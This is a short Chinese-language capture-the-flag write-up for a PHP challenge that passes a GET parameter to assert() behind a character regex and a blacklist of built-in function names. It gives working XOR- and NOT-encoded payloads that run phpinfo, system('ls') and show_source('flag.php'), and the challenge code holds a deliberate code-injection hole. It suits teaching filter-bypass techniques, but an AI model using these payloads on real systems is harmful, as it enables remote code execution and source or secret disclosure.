原题目如下:
<?php error_reporting(0); if(!isset($_GET['code'])){ highlight_file(__FILE__); }else{ $code = $_GET['code']; if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) { die('You are too good for me'); } $blacklist = get_defined_functions()['internal']; foreach ($blacklist as $blackitem) { if (preg_match ('/' . $blackitem . '/im', $code)) { die('You deserve better'); } } assert($code); }
对GET方式传入的名为“code”的参数进行过滤的WAF有两个,首先会使用“preg_match”函数检测参数内容是否满足正则匹配条件,接下来用get_defined_functions过滤所有php内置函数。
php7的新特性如下:
phpinfo() #php5、php7可执行 (phpinfo)() #php7可执行
即使我们输入“system”满足了第一个WAF的通过条件,它属于php的内置函数,也会被第二个WAF拦截。因此,考虑使用异或拼凑出所需要的内容,绕过明面上对传入参数值的检测。
使用php7新的解析方式,构造(phpinfo)();
验证payload如下,执行后成功显示php相关配置信息。:
(%9e%86%9e%87%80%88%81^%ee%ee%ee%ee%ee%ee%ee)()(%d5^%ee) #(phpinfo)();
接下来构造(system)(ls);列出当前目录下的所有文件。
(%9d%97%9d%b8%8b%83^%ee%ee%ee%cc%ee%ee)(%82%9d^%ee%ee)(%d5^%ee) #(system)(ls);
得到当前目录下有“flag.php”和“index.php”。考虑是php文件,用show_source函数读取源代码。
(%8c%97%90%88%a0%8c%90%8a%8d%9c%9a^%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff)(%99%93%9e%98%d1%8f%97%8f^%ff%ff%ff%ff%ff%ff%ff%ff)(%d5^%ee) #(show_source)(flag.php);
这道题也可以通过取反的方式解决:
<?php $code = urlencode(~"phpinfo"); echo $code; //%8F%97%8F%96%91%99%90 ?>